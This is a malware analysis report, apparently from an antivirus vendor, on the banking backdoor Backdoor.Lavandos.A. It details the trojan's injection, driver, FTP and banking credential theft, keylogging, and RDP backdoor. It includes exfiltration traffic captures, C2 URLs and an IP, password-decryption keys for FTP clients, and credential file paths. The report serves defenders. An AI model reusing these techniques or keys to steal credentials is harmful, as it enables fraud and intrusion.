Backdoor.Lavandos.A
| Propagation : | medium | |
| Dégât : | high | |
| Size: | approx 90K | |
| Détecté : | 2011 Jan 06 |
SYMPTOMS:
Extra http trafic.
Presence of:
- HKLM\Software\Setting\PnPData
- HKLM\Software\Setting\CryptoHash
- HKLM\Software\Setting\CoreSettings
- HKLM\SOFTWARE\SETTINGS\ErrorControl
- HKLM\SOFTWARE\SETTINGS\DriveSettings
TECHNICAL DESCRIPTION:
The original file injects 3 dlls(setupapi.dll, dll.dll, lib.dll) and 1 driver(sfc.sys).
In spoolsv.exe process it injects lib.dll, dll.dll and the driver and in iexplore.exe it injects dll.dll .The files dropted are:
- depending on the browser on the infected computer: <%program file folder%> \ [IExplorer | Mozila Firefox | Opera] \ \setupapi.dll
- <%system folder%>\sfcfiles.dll (lib.dll).
The clean sfcfiles.dll is cripted and packed in HKEY_LOCAL_MACHINE\SOFTWARE\SETTINGS\CryptoHash and also moved in sfcfiles.dat. The file sfcfiles.dat is deleted after a restart. The infected sfcfiles.dll has the same size and the same attributes(creation time, modification time) as the original file.
Implementation details :
The library names are crypted and it creats a new thread for decription every time it needs to load a library.
Example:
0 54 8 3F 34 37 7B 31 3D 76 27 <-> kernel32
The imported function names used are searched using a hash. It loads the corresponding library and calculates a hash for every function name. If the hash is equal with the hash for the searched function it retrieves the function address.
Example:
1F515831h <-> GlobalAlloc
Ida code:

It makes sure that the searched function code doesn't start with a INT3(0xCC) [anti-debbuging]. If it finds a INT3 as a first byte of the function the returned address is a wrong one and the program will crash soon.
Ida code:
The code is obfuscated:
Ida code: compute hash function
- normal code:
- obfuscated code:
.
Thease 3 technics are used in every component file.
The driver is loaded with ZwSetSystemInformation. This driver is keeped on the disk for a very short time in
It opens the browser with:
rundll32 url.dll_FileProtocolHandler http://www.google.com
1 Download for update.
It decrypts the access server from registry and downloads a package that contains 3 buffers packed whith aplib. It seems that on the server it has more then one version for every file. At every request a random version of the file is chosen.
After unpacking the package, it crypts the buffers and saves them in 3 registry values:
- HKLM\SOFTWARE\SETTINGS\CoreSettings -> crypted dll.dll;
- HKLM\SOFTWARE\SETTINGS\ErrorControl -> crypted shellcode;
- HKLM\SOFTWARE\SETTINGS\DriveSettings -> crypted driver sfc.sys
It accesses the server name from registry value HKLM\SOFTWARE\SETTINGS\HashSeed. This data is keeped crypted :
http://mv[remove]o/page.php
http://atl[remove]to/page.php
http://sub[remove]ge.php
http://ser[remove]ge.php
http://allw[remove]ge.php
http://go[remove]ge.php
wireshark capture:
GET /vito/page.php?id=249D9E66C4923FA7&uid=9&link=a0&cookie=a7 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: mv[remove]com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/0.7.65
Cache-Control: max-age=1
Content-Encoding: gzip
Examples of request:
- GET /vito/page.php?query=249D9E66C4923FA7&hl=9&n=mozilla&do=index&client=a7&article=a8&id=unknown HTTP/1.1
- GET /vito/page.php?client=unknown&id=249D9E66C4923FA7&n=a3&var=a7&article=9&key=mozilla HTTP/1.1
- GET /vito/page.php?uid=a8&link=us&query=opera&lr=en&key=077F1DE5C2B8411D&id=a3&client=0
2 Loads the driver.
It decrypts the data from the registry value DriveSettings and loads the driver with LoadDriver() function.
DLL.DLL
1 Download for update.
It downloads a packate that contains 3 buffers packed with aplib.
After unpacking the package, it saves the package in 2 registry values (after it crypts the corresponding buffers) and one file:
- HKLM\SOFTWARE\SETTINGS\HashSeed -> crypted server names
- HKLM\SOFTWARE\SETTINSG\PnPData -> crypted 15 different dll.dll
- <%system folder%>\sfcfiles.dll -> lib.dll
All the 15 dlls from PnpData are injected in allmost all processes.
2 Hooks some functions:
LdrGetProcedureAddress
InternetOpenA
InternetopenW
WSAStartup
Ida Code:
3 Sends all private information:
All information is stored in registry key HKLM\Software\Microsoft\Windows. The names of the values represent hashs for the stored data. It enumerates the values from the registry key every time that a value changes (RegNotifyChangeKeyValueEx), it reads the data from the values, crypts it and sends it.
The post message is:
POST /vito/page.php?page=a9&lr=rnd&client=index&query=a3&do=rand& key=249D9E66C4923FA7&n=0&cookie=index HTTP/1.1
Content-Type: multipart/form-data; boundary=5c6438acde3a
Host: mv[remove].com
Content-Length: length(data)
Cache-Control: no-cache
--5c6438acde3a
Content-Disposition: form-data; name="d"; filename="dd"
Content-Type: application/octet-stream
swapcase(base64(data from value))
4 Writes commands for the other 15 dlls:
It receives data (InternetReadFile), 0x7d000 bytes maxim, and if the buffer starts with "
The name of the command registry value is a hash computed on 9 bytes ("0000", the marker of the dll and a "\x00" byte).
The received buffer has the following structure: "[
Exemple: "[
The commands are similar for all the dlls:
"CS" -> It takes a screenshot and the bmp format is encoded in jpeg format. This picture is crypted and saved in HKLM\Software\Microsoft\Windows\hash_string.
"BK" -> deletes the key HKLM\Software\Settings
-> crypts the string "BYE!" and sets the value "SOFTWARE\Settings\Properties"
-> decrypts the data from the value CryptoHash
-> deletes the key HKLM\Software\Settings
-> moves the file "
"SK" -> it switches the desktop to "DefMainWin32XAWW"
"SB" -> deletes the key HKLM\Software\Settings
-> crypts the string "BYE!" and sets the value "SOFTWARE\Settings\Properties"
-> decrypts the data from the value CryptoHash
-> deletes the key HKLM\Software\Settings
-> moves the file "
-> it switches the desktop to "DefMainWin32XAWW" and file work
"BE" -> it writes in " Software\Microsoft\Windows\AWKeyData" value a part of the command
"DU"and "LU" ->it decrypts a part of the command and writes it in a temp file which is executed afterwards.
SETUPAPI.DLL
Executes the shellcode.
It allocates some memory for decrypting the shellcode from ErrorControl registry value, the dll.dll from CoreSettings value, the server names from HashSeed value and the 15 dll.dll from PnPData and then runs the shellcode. The shellcode loads the dll and, in the same way as the original file (based on a hash), it finds out the address of the DllRegisterServer function and then calls it. The server names are used by dll.dll for download.
Will be presented below the 15 dlls from PnPData.
Dll.dll_1 from PnPData
It hooks some functions:
- LdrGetProcedureAddress
- gethostbyname
- WSAAsyncGetHostByName
- connect
- send
The new LdrGetProcedureAddress checks if the name of the function, whose address is to be returned, has the same hash as one as the hooked function .
If it does the returned address is the hooked function address.
The new gethostbyname and the new WSAAsyncGetHostByName store the host name in a buffer.
The new connect function stores the ip address and port from sockaddr structure in some buffers.
The new send function takes the information about the ip address, socket port, hostname, username, password from the FTP protocol.
The last 3 parts of the information (hostname, username, password) are crypted with base64. A hash is computed for this buffer and if it does not exists in AppData value it is stored. Also the buffer is crypted and kept in HKLM\Software\Microsoft\Windows\hash_string (hash_string :if the hash is 0x1234abcd the hash_string is"1234abcd").
Ida code:
Pseudocode example
storeInValue function: (pseudocode)
{
input:
buffer = ip port swapcase(base64(hostname))| swapcase(base64(username))| swapcase(base64(password))
size_buffer = strlen(buffer_2) + 8; buffer2 = swapcase(base64(hostname))| swapcase(base64(username))|swapcase(base64(password))
flag_store_hash = 1; to store or not to store hash in HKLM\Software\ Microsoft\Windows\ CurrentVersion\ AppData
buffer = [marker][buffer][400h] # the marker is the dll id
hash_buffer = hashfunction(buffer)
hash_string = encode_hex(hash_buffer)
if flag_store_hash:
AppData_hashes = RegQueryValueEx( HKLM\ Software\ Microsoft\ Windows\ CurrentVersion\ AppData )
if hash_buffer in AppData_hashes:
return 0;
else:
RegSetValueEx( HKLM\Software\Microsoft\Windows\CurrentVersion\AppData, AppData_hashes + hash_buffer )
}
# first rol cript
index = 0
for x in buffer:
buffer[index] = rol(x, hash_string[index%len_hash_string])
index += 1
# second xor cript
index = 0
for x in buffer:
buffer[index] = x ^ hash_string[index%len_hash_string]
index += 1
RegSetValueEx( HKLM\Software\Microsoft\Windows\hash_string, buffer )
Dll.dll_2 from PnPData
Mainly it steals information( ip, port, username, passwords ) about the ftp servers. It searches for the corresponding registry keys and files to get the wanted information.
All the ftp strings, registry and file names are crypted.
1 FlashFXP :
- Software\FlashFXP\AppData
- Software\FlashFXP\DataFolder
- Software\FlashFXP\Install Path
- \FlashFXP\Sites.dat
- the key for password decription :yA36zA48dEhfrvghGRg57h5UlDv3
2 SecureFX :
- Software\VanDyke\SecureFX\Config Path
3 WS_FTP :
- Software\Ipswitch\WS_FTP\DataDir
- WS_FTP\Sites\ws_ftp.ini
4 CoreFTP :
- Software\FTPWare\CoreFTP\Sites stors passwords
5 FileZilla :
- Software\FileZilla\Install_Dir
- \FileZilla.xml
- the key for passwords decription : FILEZILLA1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ
6 FTP Voyager :
- .DEFAULT\Software\Rhino Software\FTP Voyager\FTP
- .DEFAULT\Software\Rhino Software\FTP Voyager\DataDirectory
- FTPVoyager.ftp
7 WCX_FTP :
- \wcx_ftp.ini
8 BPFTP
- Software\BulletProof Software\Options
- Software\BulletProof Software\SitesDir
9 GlobalSCAPE
- Software\GlobalSCAPE\Settings\Security\SiteManagerPath
10 CoffeeCup Software :
- Software\CoffeeCup Software\Internet\Profiles
11 FTP Commander Pro :
- SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander Pro\UninstallString
- ftplist.txt
12 SmartFTP :
- Software\SmartFTP\\Settings\General\Application Data Folder
13 LeapFTP :
- SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\LeapFTP\ UninstallString
- Sites.ini
14 FarFTP :
- Software\Far\Plugins\FTP\Hosts\HostName
A buffer is created: buffer = [marker(4)][information][400h].
A hash is computed for this buffer and is kept, if it does not already exists, in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData.
After the information is crypted it is stored in HKLM\Software\Microsoft\Windows\hash_string.
Dll.dll_3 from PnPData
It hooks some functions:
- TranslateMessage
- ExtTextOutA
- TextOutW
- CreateFileW
- LdrGetProcedureAddress
- LdrLoadDll
The new TranslateMessage function has keyloger role. It intercepts the pressed keys and saves them in a buffer. If the class name of the foreground window has "java.sun.awt.bifit" (bifit ->banking and finances technologies on internet)the wparam parameter is chenged to printscreen key code (the screenshot is saved in the clipboard).
The new ExtTextOutA and TextOutW verifies if the text starts with "http" and if so, it stores it in a registry value.
The new CreateFileW
If the file starts with "iBKS" it creates a structure containing :
- "FILE"
- 0x3EF
- length of the file name
- file name in widechar
- file data
This file contains the user's private encryption key. The scope is to steal information about a specific public-key-based Internet banking system which is used by a large number of Russian and Ukrainian banks.
A similar buffer is created [marker(2)][info][400h]. The hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData and the crypted data in HKLM\Software\Microsoft\Windows\hash_string.
It starts 2 more threads:
- thread1
Creates a buffer :["DATA1007"][flag module file name][found "java.sun.awt.bifit" string flag], organized as [marker(2)][buffer][400h].
The hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData and the crypted data in HKLM\Software\Microsoft\Windows\hash_string.
- thread2
It gets the data from the clipboard and saves it as "C:| data |:C". The buffer [marker(2)][info][400h] is created.
The hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData and the crypted data in
HKLM\Software\Microsoft\Windows\hash_string.
The new LdrGetProcedureAddress checks if the name of the function whose address is to be returned has the same hash as one as the hooked function . If it does the returned address is the hooked function address.
Dll.dll_4 from PnPData
It downloads new version for the content of the key values: CoreSettings, DriveSettings, ErrorControl.
It hooks some functions:
- CreateFileA
- recv
- LdrGetProcedureAddress
- LdrLoadDll
The new CreateFileA :
If the size of the file is less than 0xFA00, it creates a structure contining :
- "FILE"
- 0x3FB
- length of the file name
- file name
- file data
A buffer [marker(3)][data][400h] is computed and the resulting hash is saved in AppData if it doesn't already exists.
The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.
In the same manner it saves the file user.ini and all the *.cnf, *.ini files and the file interpro.ini from the current module folder.
The Inter-PRO use is the most effective in electronic payment systems like Bank-client ones, based on Web-technologies and focused on servicing of the remote clients through the Internet, or in any other systems where the authorized confirmation of client request for service is needed (in electronic trade systems, electronic insurance, paid information service, etc.).
The new recv function creates a new thread that reads and executes the command from the command registry value.
If the data received begins with "POST" it checks if the received data containes "5c6438acde3a". If it doesn't containes this strings (it,s not one of its own POST) and if it finds one of the strings "pass" or "pwd" it saves the buffer received:
- the hash for [marker(3)][buffer][400h] in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData
- the crypted buffer in HKLM\Software\Microsoft\Windows\hash_string
Saving POST-request parameters(username, password) it can target the Inter-PRO banking system.
Dll.dll_5 from PnPData
It hooks some functions :
- CreateFileW
- InternetConnectA
- InternetConnectW
- InternetWriteFile
The new CreateFileW :
It checks if the name of the file contains some extensions through hashes. The extensions are:
69806C03 => .js
630dc380 => .css
0641b482 => .dat
906dae01 => .dll
1f10c0b8 => .exe
9adad019 => .flv
c033b3c5 => .gif
17c6e3a0 => .htc
b4e835f6 => .htm
1a72cae0 => .ico
5f3b5800 => .jpg
32f00900 => .png
1e5e505c => .swf
9d74560b => .ttf
64d0302e => .txt
3c344800 => .xml
If the file name doesn't contain any of thease extensions, it creates a structure:
- "FILE"
- 0x3F9
- length of the file name
- file name
- file data
A buffer [marker(5)][data][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.
The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.
The new InternetConnectA and the new InternetConnectW :
It gets the active window and for every child window gets the text with SendMessage(hWindow,WM_GETTEXT,lenText,buffer).
If the buffer starts with "http" and it contains the string "bsi.dll" it stores the link. By retrieving data from an HTTP request to bsi.dll some can collect personal information, targeting the BS-Client banking system.
It creates a thread that parses every logical drive. If the drives are removable, fixed or remote it searches throught all the folders recursively and if the path of the files contains one of the following strings and the string "CRYPTO", it saves the file in the same manner as before if the file has a size smaller than 0x3E800.
0328f7db => \sec
2e03f00c => .000
d8003732 => \cert
7fa6dfc8 => \keys
87AC0CB7 => \crypto
It also creates an other thread that goes through SOFTWARE\Crypto Pro\Settings\USERS key. It enumerates all the subkeys and stores all the values names and values data:
value name
value data
value name
value data
value name
value data...
This information is added to the string:
string = "FLAVURL: the link stored from the new InternetConnectA or InternetConnectW \r\n information" and will be stored:
- A buffer [marker(5)][string][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.
- The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.
CryptoPro CSP makes possible the use of reliable, certified cryptographic information-security tools as components of the wide range of tools and software.
The new InternetWriteFile :
If the number of bytes to write are between 5 and 0xc350 the string :
data = "FLAVURL: the link stored from the new InternetConnectA or InternetConnectW \r\n the buffer to be written" will be stored:
- A buffer [marker(5)][data][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.
- The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.
Dll.dll_6 from PnPData
It hookes the function CreateFileW and in the new function stores the file if the file name has the extension ".JSK", string identified by hash( 0F027E800).
The JKS file type is primarily associated with 'keytool' by Sun Microsystems, Inc.. Keytool is a key and certificate management utility. It allows users to administer their own public/private key pairs and associated certificates for use in self-authentication (where the user authenticates himself/herself to other users/services) or data integrity and authentication services, using digital signatures. It also allows users to cache the public keys (in the form of certificates) of their communicating peers. A keystore is a storage facility for cryptographic keys and certificates.
Dll.dll_7 from PnPData
It hooks the RCN_R50Init function from FilialRCon.dll(used by Raiffeisen bank) for intercepting the private data(username,password) before encryption.
Dll.dll_9 from PnPData
It hooks a function from sks2xyz.dll.
The new function from sks2xyz.dll stores the file sign.cer(self-signed certificate used by Faktura bank)
Dll.dll_10 from PnPData
It builds a address table, containing the addresses of needed functions. Every function call is relative to the begining of the table to make the analysis harder.
It creates multiple threads that are synchronized with mutexes.
It hooks :
- InternetReadFile
- HttpSendRequestA
- HttpSendRequestW
- InternetReadFileExA
- InternetReadFileExW
- InternetCloseHandle
- InternetQueryDataAvailable
- the callback function assigned to the handle used by asynchronous InternetConnection() function
The new functions have the role to steal and store personal information : username and passwords corresponding to the current internet connection.
Ida Code:
Thease pieces of information are concatenated in a single string like:
BA_urlString
user=usernameString&pass=passwordString.
This string is crypted and stored in a registry value if the URL string contains words as pay, payment, money, bank, /admin, faktura words that are identified using hashes:
- 0C200C900 => pay
- 0C32DE341 => payment
- 0CCA96A40 => money
- 0FDB6305E => /admin
- 79304AC0 => bank
- 3C3B45C5 => faktura
Dll.dll_11 from PnPData
Hooked functions:
- PFXImportCertStore
- CertFindCertificateInStore
The new PFXImportCertStore:
It stores the information:
data = CRGR base64(password) | base64(subject name)i | base64(issuer name)i | base64(cript(proprety of the certificate context)) |^ [marker(0xC)][data][400h]
It also creates a thread that gets and stores information about the most common system certificates.
Dll.dll_12 from PnPData
It has an advanced backdoor behaviour.
Depending on the module is running from identify by the hash: 0EDBCDA59h => WINLOGON.EXE:
If it's not running from winlogon.exe:
Values Software\Microsoft\ManualConfigA32 and Software\Microsoft\ManualConfigA64 keeps configuration information:
- ManualConfigA32 keeps the day of the month when ManualConfigA64 was set.
- data from ManualConfigA64 could be '0' or '1' or '2'
First it checks if in ManualConfigA32 is the current day of the month, and if it is it reads data from ManualConfigA64.
If it doesn't find current day in ManualConfigA32 will ask the server(storing something in a value key) for a value to be set in ManualConfigA64:
Ida code:
When asking the command it does the following:
It stores the string "1111" :
A buffer [marker(12h)][data][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.
The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.
In a wireshark capture it can be observed :
POST /vito/page.php?page=a9&lr=rnd&client=index&query=a3&do=rand&key=249D9E66C4923FA7&n=0&cookie=index HTTP/1.1
Content-Type: multipart/form-data; boundary=5c6438acde3a
Host: mv[remove].com
Content-Length: 167
Cache-Control: no-cache
--5c6438acde3a
Content-Disposition: form-data; name="d"; filename="dd"
Content-Type: application/octet-stream
eGaaadeXmthsbWaaaaaaap8aaad/aaaa
If we apply a series of functions :
"eGaaadeXmthsbWaaaaaaap8aaad/aaaa".swapcase().decode('base64').encode('hex') =>1200000031313131d207000000000000ff000000ff000000
marker "1111" push 7D2h arg_0 arg_4 arg_8
12000000 [31313131] [d2070000] [00000000] [ff000000] [ff000000]
And server responses with the following buffer "
The other 2 commands could be '1' or '2'.
The threads are sincronized by mutexs: "wbfxet" for the first thread "xzxgavonkq" for the second thread.
The threads execute the same function but depending on the parameter, will do different things.
It changes "SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections" value to 0 to enable the remote connections. It opens the Remote Desktop Service, TermService and checks its status. If the service is not running it will be started. Terminal Services, is one of the components of Microsoft Windows (both server and client versions) that allows a user to access applications and data on a remote computer over a network, using the Remote Desktop Protocol (RDP).
It sets the value
It adds the value "SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy \StandardProfile\AuthorizedApplications\List\ModuleName"
The data value is "PathModule :*:Enabled: ModuleName".
It searches for a valid port to open a server, it tries just 4 times to find a valid port higher then 1000.
Both threads:
It decompress a component dll(packed with aplib and contained in current dll), PortexClient.dll, and gets the address of MappingServer function and executes it.
The function is called with the following parameters:
The ip 188.165.214.122 resolves to "ns211520.ovh.net".
It searches for that "string_hash_computer_name" using EnumWindows -> EnumChildWindows -> GetWindowTextA
It waits untill it finds it or untill it finds a secret key identified by a hash value: "9A79F222h". If that secret key is found, will show a message box with the following information: "key", "string_hash_computer_name".
If it exists it deletes the registry key "SYSTEM\CurrentControlSet\Control\Terminal Server\Dos" to reset RDP Timeout settings.
If deletion succeeds will show a message box containing: "Origami: RDP Timeout settings was modified - reconnect to apply it"
It has an option to open cmd.exe shell and it will show a message box containing "Origami: Load cmd.exe shell?" with uType:
MB_ICONQUESTION|MB_YESNO|MB_SERVICE_NOTIFICATION.
For the "Yes" option it will run that cmd.exe using WinExec.
After that a message box containing "Origami: press OK as finished to load explorer. Note - all your processes will be hided until you press OK" will be displayed. For the "OK" option a explorer.exe will be opened and a remote connection will be available in the infected sistem.
The cmd.exe can in any scope and it isn't visible for the user.
Dll.dll_13_14 from PnPData
It stores some files(string containing restriction) and all the ".key" files in that folder. Files with the extension ".KEY" :
contain registration information or a security code for a software program; often created when the program is registered; typically stored in the program's application folder or the system preferences folder.
Struct for Dll.dll_13 from PnPData:
- "FILE"
- 0x3ED
- length of the file name
- file name
- file data
A buffer [marker(13h)][data][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.
The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.
Struct for Dll.dll_14 from PnPData:
- "FILE"
- 0x3E9
- length of the file name
- file name
- file data
A buffer [marker(14h)][data][400h] is computed and the resulting hash is saved in HKLM\Software\Microsoft\Windows\CurrentVersion\AppData if it doesn't already exists.
The crypted buffer is saved in HKLM\Software\Microsoft\Windows\hash_string.
It get the active window and for every child window gets the text with SendMessage(hWindow,WM_GETTEXT,lenText,buffer).
If the buffer starts with "http" and it contains the string "ibc" it stores the link.
Dll.dll_15 from PnPData
- keylogger function
- deletes the key : Software\Martin Prikryl\WinSCP 2\Configuration\Security
- stores some information about the foreground windows.
- stores some file ; the file name must not contain some strings.
The driver:
It creates a system thread that monitors the change of the "\Registry\Machine\Software\Settings" and sets a flag if the function ZwNotifyChangeKey returns STATUS_NOTIFY_CLEANUP
This status indicates that the notify change request has been completed due to closing the handle that made the notify change request.
It decripts the data from the value "Properties". If it is "BYE!" it sets a flag.
Decrypts the data from the values : ErrorControl, CoreSettings, HashSeed and PnPData and builds a buffer with the following structure:
buffer with registries data = data ErrorControl
size CoreSettings
data CoreSettings
0xBA
0x0BAD1C0DEh
size data ErrorControl
size data HashSeed
data HashSeed
size PnPData
data PnPData
The key for decryption is taken from the DigitalProductId value for the values ErrorControl, CoreSettings, PnPData and from a buffer with descending values (from 0xFF to 0x00) for the value HashSeed.
It creates a double chained list containing for retaining information about the injected processes :
LIST:
- pointer to the next element
- pointer to the previous element
- the process ID
- a pointer to the buffer with the registries data
- a pointer to a memory descriptor list for the buffer
- the starting address of the mapped pages
- the size of the buffer mentionate above
- the inject phase (initial 0)
- the entry point of the current process
In the caller-supplied load-image callback routine :
VOID
(*PLOAD_IMAGE_NOTIFY_ROUTINE) (
IN PUNICODE_STRING FullImageName,
IN HANDLE ProcessId, // where image is mapped
IN PIMAGE_INFO ImageInfo
);
Checks if the flag corresponding to the data("BYE!") value "Properties" is set and, if so, it leaves the routine.
It searches for ".exe", "\system32\ntdll.dll", "wininet.dll", "ws2_32.dll", "iertutil.dll", "msvbvm60.dll" in the FullImageName .
If the FullImageName contains ".exe" it searches the current process pid in the list discribed above and if it does't exist it adds a new node.
If the FullImageName contains "\system32\ntdll.dll" :
- it identifies the function name ZwProtectVirtualMemory by hash (0D3DA486Dh) and gets the address using the KeServiceDescriptorTable:
Ida code:
- it allocates a memory descriptor list for the buffer described above and maps the physical page.
If the FullImageName contains "wininet.dll" or "ws2_32.dll" or "iertutil.dll" or "msvbvm60.dll" :
If the node corresponding to the current process exists:
- The inject phase becomes 1.
- It creats a system thread(that executes in kernel mode - PsCreateSystemThread) that attaches itself to the running process. It patches the data from the ErrorControl value that represents the shellcode:
pusha
mov eax, the first dword at EntryPoint for the current process
mov ebx, the second dword at EntryPoint+4 for the current process
mov edi, adrOfEntryPoint for the current process
- At the EntryPoint of the current process puts:
push adressOfTheMappedPages
ret
where addressOfTheMappedPages points to the beginning of shellcode
- After the patch the inject phase becomes 2.
In a caller-suplied process-creation callback routine :
VOID
(*PCREATE_PROCESS_NOTIFY_ROUTINE) (
IN HANDLE ParentId,
IN HANDLE ProcessId,
IN BOOLEAN Create
);
If the last thread within the process has terminated for the corresponding node in the list :
- it unmaps the pages
- it frees the coresponding memory descriptor list
- it releases the mutex which corresponded to the pid
- it frees the structure
If the driver doesn't runs as a service:
- It doesn't create the first thread.
- Takes the data from the registry value DriveSettings and writes it in "\??\data from SystemRoot value\system32\drivers\sfc.sys".
- It creates "\Registry\Machine\SYSTEM\CurrentControlSet\Services\sfc".
- It set a dword value, "Type"- data value : 1.
- It loads the driver "\Registry\Machine\SYSTEM\CurrentControlSet\Services\sfc" into the system.
- It deletes "\??\data from SystemRoot value\system32\drivers\sfc.sys".
Removal instructions:
Please let BitDefender disinfect your files.
ANALYZED BY:
Cristina Vatamanu, virus researchere-Guides de Bitdefender
La série des e-Guides Bitdefender est une initiative didactique qui vise à fournir à la communauté des lecteurs et utilisateurs de Bitdefender des informations utiles sur les e-menaces et les problèmes de sécurité de l’univers informatique, tout en leur offrant également des conseils pratiques et des solutions viables répondant à leurs besoins de protection en ligne. Les analystes sécurité de Bitdefender partagent leurs connaissances sur la prévention, l’identification et la suppression des malwares, et en particulier sur la question de la vie privée en ligne et les différentes technologies, les défenses, et les méthodes de prévention contre la cybercriminalité.
Couvrant des sujets allant de la protection en ligne des enfants et de leur famille à la sécurisation des environnements professionnels, en passant par la sécurité sur les réseaux sociaux et à la prévention des pertes de données, la série des e-Guides s’adresse à une audience large de petites organisations et d’utilisateurs individuels préoccupés par la sécurité et la protection de leurs réseaux et de leurs systèmes. Les e-Guides traitent également des problèmes relatifs à l’activité quotidienne des responsables de la sécurité des systèmes informatiques, des administrateurs systèmes et réseaux, des développeurs de technologies de sécurité, des analystes et des chercheurs.
Comment bloguer en toute sécurité
Trucs et astuces sur comment sécuriser votre blog et votre identité

Le blog est un des moyens les plus populaires d’expression écrite sur le web, avec plus de 150 millions de blogs répertoriés dans le monde. Alors que des lecteurs réguliers cherchent des informations et articles, les escrocs y trouvent un intérêt tout différent. Ils sont à la recherche d’informations privées et d’espace de stockage à moindre coût pour leurs attaques. Ce ne sont que 2 exemples parmi tant d’autres d’intérêt pour les cyber-pirates.
Ce guide couvre les grandes lignes du « blogging » en toute sécurité et se concentre sur les blogs personnels, qu’ils soient eux-mêmes hébergés ou via des fournisseurs spécialisés.
Guide de sécurisation des réseaux sans fils
Trucs et astuces sur comment protéger votre réseau personnel des intrusions

Ce guide vous expliquera les meilleures pratiques quand on utilise des réseaux sans fil, mais aussi à configurer efficacement votre routeur ou point d’accès, pour prévenir de toute intrusion.
Ce document vise les utilisateurs d’ordinateurs qui ont déployé ou prévoient de déployer un réseau sans fil à la maison. Actuellement les moyens de communication sans fil deviennent de plus en plus importants dans nos vies, et les cybercriminels tentent d’exploiter toutes les failles de sécurité dans nos réseaux sans fil, afin d’intercepter le trafic et des informations ou utiliser notre connexion internet à des fins illégales.
Guide de protection des enfants en ligne
Comment sécuriser et protéger les activités numériques de vos enfants

Ce document est destiné aux familles, parents et enseignants, et son but est d’aider à sécuriser les activités numériques des enfants et adolescents. A une époque où la production de masse et l’accessibilité des ordinateurs ont répandu l’usage domestique de ces matériels, les enfants sont familiarisés avec les ordinateurs et Internet à un âge très précoce. En dépit des avantages indéniables qu’il présente en termes de communication, le Web peut aussi être un lieu dangereux, où des menaces visent directement leur classe d’âge et leurs ordinateurs, à la maison comme en classe.
Cet e-Guide traite des principaux risques et dangers auxquels sont exposés les enfants sur Internet : cyber-agression, exposition à des contenus déplacés, dépendance au web, et autres activités nocives, tout en mettant également l’accent sur des sujets comme le malware, le phishing, le vol d’identité et le spam, auxquels les adolescents, exactement comme les autres utilisateurs d’Internet, sont exposés aujourd’hui. La section Conseils de sécurité est destinée à aider parents et enseignants à mieux comprendre et faire face à ces problèmes concernant les enfants.
Guide de sécurité en ligne pour les internautes aux tempes grisonnantes
Comment protéger la propriété intellectuelle et financière des cyber-pirates

Ce document est destiné aux familles et aux seniors et son but est de les aider à naviguer sur le web en toute sécurité et à bien profiter de leurs activités en ligne.
Au premier abord, on pourrait avoir tendance à penser que les seniors sont exposés au cybercrime comme n’importe quels autres utilisateurs inexpérimentés d’Internet, quel que soit leur âge. Cependant, comme cet e-Guide le montre à travers plusieurs études de cas, les internautes aux tempes grisonnantes sont la cible de dangers spécifiques, concernant par exemple le paiement de leur pension, de fallacieuses méthodes de paiement des impôts ou des escroqueries financières. Des exemples, des astuces et des conseils complètent les situations décrites et fournissent aux lecteurs des recommandations utiles pour l’exercice de leurs occupations quotidiennes en ligne.
Guide de prévention de l’accès non autorisé aux données
Comment protéger la propriété intellectuelle et financière des cyber-pirates

Cet e-guide a été conçu pour répertorier les nombreux points sensibles de la sécurité des données de l’entreprise, de l’intégrité physique d’un réseau jusqu’aux mécanismes complexes du cybercrime qui prend les entreprises pour cible (chevaux de Troie visant les données bancaires, phishing, par exemple). Ces informations ont également pour objectif d’expliquer – bien que d’une manière moins détaillée que dans une documentation technique complète – en quoi les caractéristiques des différentes solutions Bitdefender pour particuliers et entreprises peuvent intéresser les administrateurs informatiques.
La consultation de ce document peut se révéler utile dans une démarche visant à décider de la meilleure solution de sécurité pour des réseaux de taille réduite ou moyenne. Son contenu constitue également une base solide pour des recherches comparatives ultérieures sur ce sujet.
Livres Blancs
- Préservez votre e-réputation sur Facebook
- Livre Blanc Facebook
- Technologie antivirus de Bitdefender
- B-HAVE, la route vers le succès (.pdf)
- Le véhicule ou le message ? Comment faire face au spam image, décembre 2006,Bulletin d’information sur les virus
- Lutter contre le Spam Image
- Technologie antispam NeuNet de Bitdefender
- Proactive security I body armor against business attacks
- Livre blanc des menaces émergentes contre la sécurité des entreprises
- Sécurisation contre l’inconnu - Technologie proactive B-HAVE de défense contre les menaces polyvalentes
- Sécurisation de e-mail - La première ligne de défense stratégique
- Nomenclature des virus. Le dilemme du « Qui est qui ? » (en anglais)
- Facebook – Une autre brèche dans le mur
- Bitdefender Active Virus Control : protection proactive contre les menaces nouvelles et en germe
Rapports Bitdefender sur l'état des e-menaces
